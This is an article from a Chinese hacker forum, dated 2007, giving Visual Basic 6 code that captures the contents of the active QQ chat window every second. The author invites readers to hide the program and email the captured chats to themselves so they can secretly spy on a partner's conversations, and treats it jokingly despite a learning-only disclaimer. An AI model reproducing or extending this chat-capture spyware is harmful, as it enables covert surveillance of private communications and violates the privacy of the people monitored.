文章 | 入侵攻击 | 安全防御 | 操作系统 | 建站技术 | 脚本编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告   
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程 
论坛 | 配服务器 | 黑客情感 | 免费资源 | 爆笑贴图 | 灌水无罪 | 会员照片 | 在线服务 | 站长博客 | 网站首页 
 您现在的位置: 华夏黑客联盟 >> 攻防技术 >> 脚本编程 >> 文章正文  

[VB]猎取当前QQ聊天内容

www.hxhack.com 阅读: 时间:2007-7-31 5:03:48 整理:华夏黑盟
------------------------------------------------------------------

 
使用VB6.0 新建一个EXE工程 新建一个窗体 添加一个textbox控件 将MultiLine属性改为:True 再添加一个timer控件 Enlable=True ,Interval=1000

再将以下代码完全复制到代码窗口,运行!

打一个好友,进行聊天模式进行聊天.....看到结果了吧

...那些对别人隐私感兴趣的同学可以把它完善一下...把程序的运行状态设为隐藏,将获得的特定的聊天内容,以MAIL的方式发送到指定邮箱...呵呵...怀疑你的GF/BF背着你跟另外的GG/MM聊得火热,但又不知道他们到底说些什么,,,试一下吧...呵呵...话说回来,发程序只为互相交流与学习...为此若引起两口子打架,各孽的不要来找我哈....

Quote:
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
'Private Const WM_GETTEXT = &H7D
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE

Private Sub Form_Load()
Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
  On Error Resume Next
  Dim sText As String * 255
  Dim TextObj As Long
  Dim txtLendth As Long, txtBuff As String
 
  TheWindow = GetForegroundWindow '获得当前窗口句柄
 
  If TheWindow = 0 Then Exit Sub
  thewindow_title = Left$(sText, GetWindowText(TheWindow, sText, 255)) '得到聊天窗口标题~
  chatobj = thewindow_title
 
  'Debug.Print thewindow_title
 
  If InStr(thewindow_title, "聊天中") <> 0 Or InStr(thewindow_title, "- 群") <> 0 Or InStr(thewindow_title, "查看消息") <> 0 Then
    TextObj = FindWindowEx(TheWindow, 0, "#32770", vbNullString) '通用对话框的类
    If TextObj = 0 Then Exit Sub
    TextObj = FindWindowEx(TextObj, 0, "", vbNullString) '聊天框的类'我操 腾讯将发送窗口的RichEdit改过了 得不到它的句柄
    If TextObj = 0 Then Exit Sub
    txtLength = SendMessage(TextObj, WM_GETTEXTLENGTH, ByVal CLng(0), ByVal CLng(0))
    txtBuff = Space(txtLength)
    retVal = SendMessage(TextObj, 13, ByVal txtLength + 1, ByVal txtBuff)
    Text1 = Left(txtBuff, retVal) & vbCrLf & vbCrLf & "以上聊天对象为:" & chatobj
  Else
    Exit Sub
  End If
 
End Sub

 

   -------------------------------------------------------------------------------------------
  • 上一篇文章:

  • 下一篇文章:
  •    -------------------------------------------------------------------------------------------
    用户名:
    Email:
    评论内容:
     
      精品推荐

     十招教你学会破解(学黑客
     C语言与C++有什么区别吗
     VB病毒编写——初学编程
     世界编程大赛第一名写的
     木马是如何编写的
     绝版破解软件教程就不信
     如何编写木马病毒
     隐藏cmd命令行运行
     学ASP只需一小时!
     如何提高自己的编程能力
     初学者天地--用C语言写的
     四个经典的vbs脚本整理
     Visual C++编程窃取QQ密
     怎样学好编程C语言
     跟我学做记事本
     编程语言初步知识(供菜
     一个程序员写的求爱程序
     阿拉QQ大盗盗号原理分析
     什么是vb,vb是什么意思
     成为编程高手的二十二条
     看黑客编写强力蓝屏炸弹
     C语言基础教程合集(整理
     学C++时要注意的
     C语言之精华总结
     [VB]猎取当前QQ聊天内容


    设为首页 | 软件发布 | 联系方式 | 友情链接 | 关于我们 | 本站声明 | 免责条款 | 网站留言
    Copyright © 2004-2007 Www.Hxhack.Com
    版本:华夏黑客联盟 Email:hxhack.com@163.com
    中国·广东 请使用IE6.0版本, 分辩率1024×768进行浏览
    版权所有 任意抄袭 注意完整
    粤ICP备06123842号